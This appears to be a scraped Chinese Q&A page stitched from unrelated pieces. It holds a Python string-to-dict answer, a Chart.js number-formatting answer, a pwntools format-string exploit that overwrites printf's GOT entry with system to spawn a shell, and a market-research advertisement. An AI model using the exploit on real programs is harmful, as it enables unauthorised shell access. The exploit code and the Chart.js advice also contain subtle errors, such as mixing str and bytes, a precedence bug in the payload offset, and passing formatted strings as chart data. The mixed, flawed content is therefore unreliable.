格式化字符串为对象形式 例如 t=chat 改为 {t:chat}

时间: 2024-03-10 14:44:26 浏览: 25
你可以使用 Python 中的字典(dictionary)来完成这个任务。具体步骤如下: 1. 定义一个字符串变量,例如:s = "t=chat" 2. 使用 split() 方法将字符串按照 "=" 进行分割,得到一个列表,例如:lst = s.split("="),此时 lst 的值为 ["t", "chat"] 3. 使用字典的方式将 lst 转换为对象形式,例如:dct = {lst[0]: lst[1]},此时 dct 的值为 {"t": "chat"} 完整代码如下: ``` s = "t=chat" lst = s.split("=") dct = {lst[0]: lst[1]} print(dct) ``` 输出结果为:{"t": "chat"}
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chat.js data: [5000000, 750000, 700000, 700000, 10000000, 3000000] 数据过万格式化

您可以使用 `toLocaleString()` 方法将数据格式化为带有千位分隔符的字符串,以便更好的呈现和理解数据。以下是一个示例代码: ```javascript var data = [5000000, 750000, 700000, 700000, 10000000, 3000000]; var formattedData = data.map(function(num) { return num.toLocaleString('en-US'); }); console.log(formattedData); // ["5,000,000", "750,000", "700,000", "700,000", "10,000,000", "3,000,000"] ``` 在上面的代码中,`map()` 方法将原始数据数组中的每个数字都使用 `toLocaleString()` 方法进行格式化,并将格式化后的字符串放入新的数组中。然后,新的数组 `formattedData` 就包含了所有格式化后的数据。 如果您需要在 Chart.js 中使用格式化后的数据,只需要将 `formattedData` 数组作为数据集就可以了。例如: ```javascript var chartData = { labels: ['A', 'B', 'C', 'D', 'E', 'F'], datasets: [{ label: 'My Data', data: formattedData, backgroundColor: 'blue' }] }; var myChart = new Chart(ctx, { type: 'bar', data: chartData }); ``` 在上面的代码中,`chartData` 对象包含了格式化后的数据集,其中 `datasets` 数组中的 `data` 属性就使用了 `formattedData` 数组。这样,Chart.js 就会使用格式化后的数据来绘制图表,而不是原始的数字。

字符串拼接实现pwn

字符串拼接在pwn中是非常常见的,可以用于构造payload,实现漏洞利用。下面是一个简单的例子,演示了如何使用字符串拼接实现pwn: 假设有一个程序存在格式化字符串漏洞,我们需要构造一个payload来执行system("/bin/sh")。首先,我们需要获取system函数的地址,可以使用pwntools中的DynELF模块来实现: ```python from pwn import * p = process("./vuln") # 启动程序 elf = ELF("./vuln") # 加载程序 # 获取system函数的地址 system_addr = elf.sym["system"] ``` 接下来,我们需要构造payload。由于格式化字符串漏洞是通过将格式化字符串作为参数传递给函数来触发的,因此我们需要构造一个包含system函数地址的格式化字符串。具体来说,我们可以使用"%n$"来引用参数列表中的第n个参数,从而实现读取任意地址的数据。例如,"%12$n"表示将当前已经输出的字符数写入参数列表中的第12个参数所指向的地址中。 ```python # 构造payload payload = p32(elf.got["printf"]) # 将printf的GOT地址作为第一个参数 payload += "%{}x%12$hn".format(system_addr & 0xffff) # 将system地址的低16位写入printf的GOT地址 payload += "%{}x%13$hn".format((system_addr >> 16) & 0xffff - (system_addr & 0xffff)) # 将system地址的高16位写入printf的GOT地址+2 ``` 最后,我们只需要将payload发送给程序即可: ```python # 发送payload p.sendline(payload) p.interactive() # 进入交互模式,可以手动输入命令 ```

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东南亚位于我国倡导推进的“一带一路”海陆交汇地带,作为当今全球发展最为迅速的地区之一,近年来区域内生产总值实现了显著且稳定的增长。根据东盟主要经济体公布的最新数据,印度尼西亚2023年国内生产总值(GDP)增长5.05%;越南2023年经济增长5.05%;马来西亚2023年经济增速为3.7%;泰国2023年经济增长1.9%;新加坡2023年经济增长1.1%;柬埔寨2023年经济增速预计为5.6%。 东盟国家在“一带一路”沿线国家中的总体GDP经济规模、贸易总额与国外直接投资均为最大,因此有着举足轻重的地位和作用。当前,东盟与中国已互相成为双方最大的交易伙伴。中国-东盟贸易总额已从2013年的443亿元增长至 2023年合计超逾6.4万亿元,占中国外贸总值的15.4%。在过去20余年中,东盟国家不断在全球多变的格局里面临挑战并寻求机遇。2023东盟国家主要经济体受到国内消费、国外投资、货币政策、旅游业复苏、和大宗商品出口价企稳等方面的提振,经济显现出稳步增长态势和强韧性的潜能。 本调研报告旨在深度挖掘东南亚市场的增长潜力与发展机会,分析东南亚市场竞争态势、销售模式、客户偏好、整体市场营商环境,为国内企业出海开展业务提供客观参考意见。 本文核心内容: 市场空间:全球行业市场空间、东南亚市场发展空间。 竞争态势:全球份额,东南亚市场企业份额。 销售模式:东南亚市场销售模式、本地代理商 客户情况:东南亚本地客户及偏好分析 营商环境:东南亚营商环境分析 本文纳入的企业包括国外及印尼本土企业,以及相关上下游企业等,部分名单 QYResearch是全球知名的大型咨询公司,行业涵盖各高科技行业产业链细分市场,横跨如半导体产业链(半导体设备及零部件、半导体材料、集成电路、制造、封测、分立器件、传感器、光电器件)、光伏产业链(设备、硅料/硅片、电池片、组件、辅料支架、逆变器、电站终端)、新能源汽车产业链(动力电池及材料、电驱电控、汽车半导体/电子、整车、充电桩)、通信产业链(通信系统设备、终端设备、电子元器件、射频前端、光模块、4G/5G/6G、宽带、IoT、数字经济、AI)、先进材料产业链(金属材料、高分子材料、陶瓷材料、纳米材料等)、机械制造产业链(数控机床、工程机械、电气机械、3C自动化、工业机器人、激光、工控、无人机)、食品药品、医疗器械、农业等。邮箱:market@qyresearch.com

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